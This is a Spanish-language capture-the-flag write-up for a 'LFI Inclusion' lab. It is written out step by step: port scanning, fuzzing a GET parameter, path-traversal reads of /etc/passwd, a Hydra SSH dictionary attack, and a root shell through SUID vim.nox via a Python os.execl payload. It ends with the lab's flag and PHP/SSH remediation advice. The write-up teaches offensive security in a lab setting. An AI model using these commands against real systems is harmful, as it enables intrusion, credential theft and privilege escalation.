GhostLabs logo

GhostLabs

red team operations  ::  offensive security
⚠ write-up — lfi inclusion
⚠   SPOILER — Lee esto solo después de intentar resolver el laboratorio   ⚠
Laboratorio
LFI INCLUSION
Dificultad
★★★★☆   Difícil (4 pts)
Servicios
SSH :2222 · Web :8080
Vectores
LFI → SSH brute → vim SUID

Flujo de ataque

01nmap → descubrir SSH (2222) y Web (8080)
↓
02fuzzing de parámetros GET → descubrir ?file=
↓
03LFI → leer /etc/passwd → descubrir usuario "trinity"
↓
04hydra SSH bruteforce → password "hacker"
↓
05shell como trinity → find SUID → vim.nox → root → flag.txt

Solución paso a paso

1
Reconocimiento con nmap

Escaneamos todos los puertos del objetivo:

nmap -sV -p- --min-rate 5000 <LAB_IP>

# Output esperado:
PORT     STATE SERVICE VERSION
2222/tcp open  ssh     OpenSSH 7.9p1 Debian
8080/tcp open  http    Apache httpd 2.4.56

Accedemos a http://<LAB_IP>:8080 y vemos una aplicación con un campo de texto: file viewer.

2a
Descubrimiento del parámetro vulnerable — ffuf

En una aplicación real no sabes cómo se llama el parámetro GET que carga ficheros. ffuf lo descubre probando miles de nombres automáticamente:

⚠️ Las versiones recientes de Kali no incluyen seclists por defecto. Si el wordlist no existe, instálalo primero:
sudo apt update && sudo apt install seclists -y
ffuf -u "http://<LAB_IP>:8080/index.php?FUZZ=../../../etc/passwd" \
     -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
     -ac

¿Qué hace exactamente?

  • FUZZ es un placeholder que ffuf reemplaza con cada palabra del wordlist: prueba ?file=…, ?page=…, ?path=…, ?dir=…, etc.
  • El valor ../../../etc/passwd es fijo — si el parámetro existe y la app es vulnerable, la respuesta incluirá el contenido real del fichero (más bytes que una respuesta normal).
  • -ac (auto-calibrate) mide el tamaño de las respuestas normales y filtra todo lo que no se desvíe → solo muestra file como positivo.

Resultado esperado:

[Status: 200, Size: 2847, Words: 45, Lines: 35] :: WORD: file
💡 En este lab el formulario web ya muestra el nombre del campo (file), así que puedes saltar este paso si lo ves. Se incluye para practicar la técnica de fuzzing de parámetros que necesitarás cuando el parámetro no sea visible.
2b
Explotación de la LFI — lectura de /etc/passwd

Una vez conocido el parámetro (file), lo explotamos directamente con path traversal para leer ficheros del sistema:

curl "http://<LAB_IP>:8080/index.php?file=../../../etc/passwd"

O en el navegador:

http://<LAB_IP>:8080/index.php?file=../../../etc/passwd

En la respuesta identificamos el usuario con shell de bash:

trinity:x:1000:1000::/home/trinity:/bin/bash
Otros ficheros interesantes que puedes leer con LFI: /etc/shadow (si hay permisos), /home/trinity/.bash_history, /home/trinity/.ssh/id_rsa, /var/log/apache2/access.log (para log poisoning).
4
Fuerza bruta SSH con Hydra

Con el usuario trinity descubierto, lanzamos un ataque de diccionario al SSH:

hydra -l trinity -P /usr/share/wordlists/rockyou.txt ssh://<LAB_IP>:2222 -t 64
[2222][ssh] host: <LAB_IP>   login: trinity   password: hacker

Accedemos al sistema:

ssh trinity@<LAB_IP> -p 2222
# password: hacker
Si has usado otra máquina GhostLabs antes (misma IP), SSH mostrará WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED. Elimina la clave antigua y reconecta:
ssh-keygen -f '/home/kali/.ssh/known_hosts' -R '[<LAB_IP>]:2222'
5
Escalada a root — vim SUID

Desde la shell como trinity, buscamos binarios con SUID:

find / -perm -4000 -type f 2>/dev/null

Entre los resultados aparece algo inusual:

/usr/bin/vim.nox   ← los editores de texto no deberían tener SUID

Cómo encontrar el exploit en GTFOBins

1 — Busca "vim" en gtfobins.github.io. Verás que vim tiene la función Inherit con borde sólido rojo (= soportada con SUID).

GTFOBins - lista vim

2 — Entra en vim → sección Inherit → pestaña SUID. GTFOBins muestra vim -c ':py ...' — vim puede ejecutar código Python directamente y heredar sus capacidades. El ... indica que debes buscar el payload en la página de python.

GTFOBins - vim Inherit SUID

3 — En la página de python → sección Shell → pestaña SUID. Aquí está el payload completo:

GTFOBins - python Shell SUID

El comando completo

Combinando ambas referencias (vim/Inherit/SUID + python/Shell/SUID), adaptado a Python 3 y al binario real del sistema:

/usr/bin/vim.nox -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

Por qué funciona — desglose

/usr/bin/vim.nox El binario con SUID activo. Se ejecuta con EUID=0 (root)
-c '...' Le dice a vim que ejecute un comando al arrancar
:py3 import os Llama al intérprete Python 3 integrado en vim
os.execl(...) Reemplaza el proceso de vim por sh sin crear un proceso hijo
"-p" Le dice a sh que preserve los privilegios SUID (no resetee EUID)
"reset; exec sh -p" Limpia la terminal y abre una shell interactiva como root
⚠️ ¿Por qué os.execl y no simplemente :!/bin/sh -p?

Con :!/bin/sh -p, vim crea una shell hija mediante system(). El sistema detecta que EUID ≠ UID y resetea los privilegios → obtienes trinity, no root.

Con os.execl, Python reemplaza el proceso de vim directamente por sh. No hay shell intermedia — sh hereda el EUID de vim (root) y arranca como root.
whoami
root
6
Captura de la flag
cat /root/flag.txt
Flag
GhostLabs{lf1_2_ssh_brut3_2_v1m_su1d_0wn3d}

Remediación

# 1 — Validar siempre el input en PHP con whitelist
$allowed = ['about.php', 'contact.php'];
if (in_array($_GET['file'], $allowed)) {
    include $_GET['file'];
}

# 2 — Deshabilitar funciones peligrosas en php.ini
allow_url_include = Off
allow_url_fopen = Off

# 3 — Quitar SUID de editores de texto
chmod u-s /usr/bin/vim.nox

# 4 — No exponer SSH con contraseñas débiles
# Usar autenticación por clave y deshabilitar password auth
PasswordAuthentication no

Recursos